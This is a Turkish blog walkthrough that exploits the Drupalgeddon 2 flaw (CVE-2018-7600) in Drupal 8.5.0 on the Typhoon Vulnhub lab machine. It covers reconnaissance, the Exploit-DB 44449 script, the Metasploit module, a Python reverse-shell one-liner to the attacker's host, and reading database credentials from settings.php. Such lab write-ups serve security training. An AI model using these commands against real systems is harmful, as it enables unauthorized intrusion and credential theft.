Droopescan Aracı ile Tespit Edilen Drupal 8.5.0 Üzerindeki Uzaktan Kod Çalıştırma Zafiyetinin İstismarı

0
573
views
Web uygulamaları sızma testleri sırasında güncel olmayan Drupal sürümünün kullanılması zafiyete sebep olabilir. Bu yazıda, Typhoon: 1.02 sanal makinesi üzerindeki Drupal 8.5.0 sürümünde bulunan CVE-2018-7600 ID’li uzaktan komut çalıştırma zafiyeti istismar edilerek uygulama kullanıcısı (www-data) yetkileri ile komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Typhoon: 1.02 sanal makinesi Vulnhub sitesinden indirilebilir.

Typhoon: 1.02: https://www.vulnhub.com/entry/typhoon-102,267/

 

A) Drupal Dizininin Keşfi

Mevcut sanal makinenin TCP\80 portunda HTTP servisi çalışmaktadır.

nmap -Pn -n –open –top-ports 100 192.168.226.133
whatweb http://192.168.226.133

 

wfuzz ile dizin keşfi gerçekleştirildiğinde “/drupal” dizini keşfedilebilir.

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –hc 400,404,403 http://192.168.226.133/FUZZ

 

B) Drupal Sürümünün Keşfi

whatweb aracı kullanılarak ilgili dizine ait incelendiğinde Drupal’İn majör sürümünün 8 olduğu görülmektedir.

whatweb http://192.168.226.133/drupal

 

Varsayılan durumda Drupal kurulumunun bulunduğu dizindeki CHANGELOG.txt dosyasında Drupal’in sürümü hakkında bilgi edilinebilir. Ancak mevcut sanal makinede bu dosya silinmiştir.

http://192.168.226.133/drupal/CHANGELOG.txt

 

Drupal zafiyetlerinin tespiti için Droopescan indirilip kurulabilir.

git clone https://github.com/droope/droopescan.git
cd droopescan/
ls
pip install -r requirements.txt
history

 

Droopescan aracı ile eklentiler, temalar, sürümler listelenebilir. Droopescan aracı ile bilgi toplanabilecek CMS türleri aşağıdaki gibidir.

  • drupal
  • joomla
  • moodle
  • silverstripe
  • wordpress

 

Standart bir keşif çalışması ile kullanılan Drupal sürümünün 8.5.* olduğu tespit edilmiştir.

droopescan scan drupal -n ‘all’ -e a -t 2 –hide-progressbar -u http://192.168.226.13/drupal/

 

Not: Sanal makine ele geçirildikten sonra Drupal sürümü “/var/www/html/drupal/core/lib/Drupal.php” dosyasında görülebilir.

ls
cd core/lib/Drupal
ls
cat Drupal.php | grep -i version

 

C) Drupal 8.5 Zafiyeti

Drupal 8.5 üzerinde CVE-2018-7600 ID’li uzaktan kod çalıştırma zafiyeti bulunmaktadır. Drupalgeddon 2 olarak da adlandırılan bu zafiyet, Form API (FAPI) AJAX olarak gönderiken dizi nesnesi tipindeki paramtrelerin uygun şekilde işlememesinden / temizlememesinden (sanitization) kaynaklanmaktadır. İstismar sonucunda kimlik doğrulamasız olarak Drupal çekirdeğinde drupal servisini çalıştıran kullanıcının yetkisi ile işlem yapılabilir. Zafiyetin detayı ile ilgili kaynaklardaki Checkpoint yazısı incelenebilir.

SA-CORE-2018-002 olarak bülteni çıkarılan bu zafiyet aşağıdaki Drupal sürümlerinde geçerlidir.

  • Drupal 8.5.x < 8.5.1
  • Drupal 8.4.x < 8.4.6
  • Drupal 8.x < 8.3.9
  • Drupal 7.x? < 7.58
  • Drupal 6.x (EOL)

 

D) Exploit-DB 44449 Betiği ile Drupal 8.5 Zafiyetinin İstismarı

Zafiyetin istismarı için 44449 ID’li Ruby betiği kullanılabilir.

searchsploit -m 44449
ruby 44449.rb

 

Bu betik ile Drupal sürümüne göre farklı URL’lerin (Drupal 8 sürümleri için “user/register”; Drupal 7 sürümleri için “user/password”), farklı öğelerine (Drupal 8 sürümleri için “account/mail” ve “#post_render” parametresine; Drupal 7 sürümleri için “triggering_element_name” formuna ve “#post_render” parametresine), PHP fonksiyonları (“passthru” gibi) ile komut çalıştırılması sağlanabilir. Kaynaklardaki Dreadlocked bağlantısı kullanılarak istismar işlemi ile ilgili detaylar incelenebilir.

İstismar işlemi sırasında web kök dizini(“./”) veya alt dizinlere (“./sites/default/”, “./sites/default/files/”) PHP dosyası yazılamamış olsa da dosyasız (File-Less) olarak komut çalıştırılabilmiştir.

ruby 44449.rb http://192.168.226.133/drupal
id
uname -a

Not: (Muhtemelen) Dosya yazma işlemi başarısız olduğu için 44448.py betiği çalışmamakta ve kodun içerisindeki hello.txt diske yazılamamaktadır.

Ugly Shell olarak isimlendirilen komut satırından daha stabil bir komut satırına geçilebilir. Sanal makinede kurulu olan Python paketleri ile daha sağlam bir komut satırına geçiş sağlanabilir.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.226.132”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

nc -nlvp 5555
$ python -c “import pty;pty.spawn(‘/bin/bash’);”

Mysql veritabanına ait kimlik bilgileri sites/default/settings.php dosyası içerisinden elde edilebilir.

ls sites/default
tail -12 sites/default/settings.php

 

 

E) MSF exploit/unix/webapp/drupal_drupalgeddon2 İstismar Modülü ile Drupal 8.5 Zafiyetinin İstismarı

Zafiyetin istismarı için MSF modülü de kullanılabilir. Bu modül ile varsayılan olarak “php/meterpreter/reverse_tcp” payload’u kullanılarak ters bağlantı elde edilebilir.

msfconsole -q
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOST 192.168.226.133
set TARGETURI /drupal
exploit
getuid
shell
python -c “import pty;pty.spawn(‘/bin/bash’);”
cat /etc/*release*

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • billu: b0x 2: https://www.vulnhub.com/entry/billu-b0x-2,238/
  • Typhoon: 1.02: https://www.vulnhub.com/entry/typhoon-102,267/

 

 

Kaynaklar:

https://github.com/muratyesiltepe/typhoon-vm/blob/master/writeup.md
Typhoon Walkthroughs
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/dreadlocked/Drupalgeddon2

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.